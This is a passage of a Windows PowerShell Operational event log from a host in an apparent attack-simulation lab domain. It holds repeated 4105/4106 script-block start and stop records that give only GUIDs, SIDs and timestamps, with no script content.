ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040513
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040507
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040483
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040482
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040481
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040480
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040471
Keywords=None
